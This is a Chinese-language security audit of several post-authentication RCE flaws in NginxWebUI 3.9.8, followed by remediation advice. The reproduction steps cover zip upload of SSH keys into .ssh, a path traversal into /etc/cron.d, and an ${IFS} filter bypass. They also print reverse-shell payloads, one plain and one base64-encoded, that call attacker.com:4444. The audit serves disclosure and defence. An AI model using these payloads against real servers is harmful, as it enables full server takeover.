nginxwebui后台rce审计
字数 2340 2025-08-05 08:18:25
NginxWebUI 后台 RCE 漏洞审计与分析
前言
本文详细分析了 NginxWebUI 后台存在的多个远程代码执行(RCE)漏洞,包括 ZIP 自解压漏洞、ZIP 目录穿越漏洞、命令执行绕过漏洞以及多个代码执行点。审计版本为 3.9.8,最新 3.9.9 版本仍未修复这些漏洞。
漏洞详情
0x01 ZIP 自解压漏洞
漏洞位置: com.cym.controller.adminPage.MainController#upload
漏洞分析:
- 上传功能将文件保存到临时目录(
FileUtil.getTmpDir() + '/' + 文件名),未限制文件后缀 - 前端限制 ZIP 上传但后端未验证
- 解压功能(
com.cym.controller.adminPage.WwwController#addOver)允许控制解压目录和文件
利用方法:
- 上传包含 SSH 公钥的 ZIP 文件到临时目录
- 选择解压到
.ssh目录 - 使用公钥直接登录
复现步骤:
- 准备包含 SSH 公钥的 ZIP 文件
- 通过前端上传
- 在后台选择解压到
/root/.ssh或相应用户的.ssh目录 - 使用对应私钥登录
0x02 ZIP 目录穿越漏洞
漏洞位置: cn.hutool.core.util.ZipUtil#unzip
漏洞分析:
- 解压前会检查目标目录是否已存在(数据库查询)
- ZipEntry 未过滤
../,存在目录穿越 - 可通过指定新目录绕过重复检查
利用方法:
- 创建包含目录穿越路径的 ZIP 文件(如
../../etc/cron.d/exploit) - 上传并指定一个未使用过的解压目录
- 文件将被解压到系统任意位置
复现步骤:
- 创建恶意 ZIP 文件(如使用
zip -r exploit.zip ../../../etc/cron.d/exploit) - 上传 ZIP 文件
- 在解压界面指定一个新目录(确保数据库中没有记录)
- 文件将被解压到
/etc/cron.d/等系统目录
0x03 runCmd 绕过造成命令执行
漏洞位置: com.cym.controller.adminPage.ConfController#runCmd
漏洞分析:
- 命令执行前会进行过滤(
isAvailableCmd) - 过滤逻辑依赖三个可控值(
nginxPath,nginxExe,nginxDir) - 可通过特殊字符绕过过滤(如 Linux 使用
$(IFS)代替空格)
利用方法:
- 修改
nginxExe等值为恶意命令 - 使用特殊字符绕过过滤
- 或者写入 webshell 后用 bash 执行
复现步骤:
- 修改
nginxExe为恶意命令(如/bin/bash${IFS}-c${IFS}"bash${IFS}-i${IFS}>&${IFS}/dev/tcp/attacker.com/4444${IFS}0>&1") - 或者写入 webshell 到临时目录后执行
- 获取反向 shell
0x04 reload 代码执行
漏洞位置: com.cym.controller.adminPage.ConfController#reload
漏洞分析:
- 参数完全可控且无过滤
- 直接拼接执行命令
- 通过
RuntimeUtil#exec执行
利用方法:
- 构造 Java 格式的代码执行 payload
- 通过 reload 功能触发
复现步骤:
- 构造如
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}的 payload - 通过 reload 接口提交
- 获取反向 shell
0x05 check 代码执行
漏洞位置: com.cym.controller.adminPage.ConfController#check
漏洞分析:
- 类似 reload 功能,参数完全可控
- 通过
execForStr执行命令 - 只需设置
nginxExe即可触发
利用方法:
- 设置
nginxExe为恶意命令 - 保持其他参数默认
- 触发代码执行
复现步骤:
- 构造反弹 shell payload
- 设置
nginxExe为该 payload - 触发 check 功能获取 shell
修复建议
-
命令执行防护:
- 过滤 Linux 特殊字符如
${IFS} - 转义所有 shell 元字符
#&;,|*?~<>^()[]{}$` - 禁用直接创建 shell 的命令(bash/sh/dash)
- 过滤 Linux 特殊字符如
-
ZIP 文件处理:
- 检查
ZipEntry.getName()是否包含../或.. - 解压目录应写死,不可用户控制
- 检查
-
输入验证:
- 严格验证
nginxPath、nginxExe、nginxDir nginxPath和nginxDir应验证是否为合法目录nginxExe应使用白名单或写死
- 严格验证
-
文件上传:
- 后端应验证文件类型
- 存储到临时目录时应检查路径穿越和文件后缀
- 建议使用随机文件名
-
其他:
- 更新 Hutool 等依赖库
- 实施最小权限原则
- 对敏感操作增加二次验证
总结
NginxWebUI 后台存在多处严重的远程代码执行漏洞,攻击者可以完全控制服务器。建议用户立即采取防护措施或暂时停用该系统,等待官方发布安全更新。开发者应全面审查代码中的命令执行点,实施严格的输入验证和输出编码。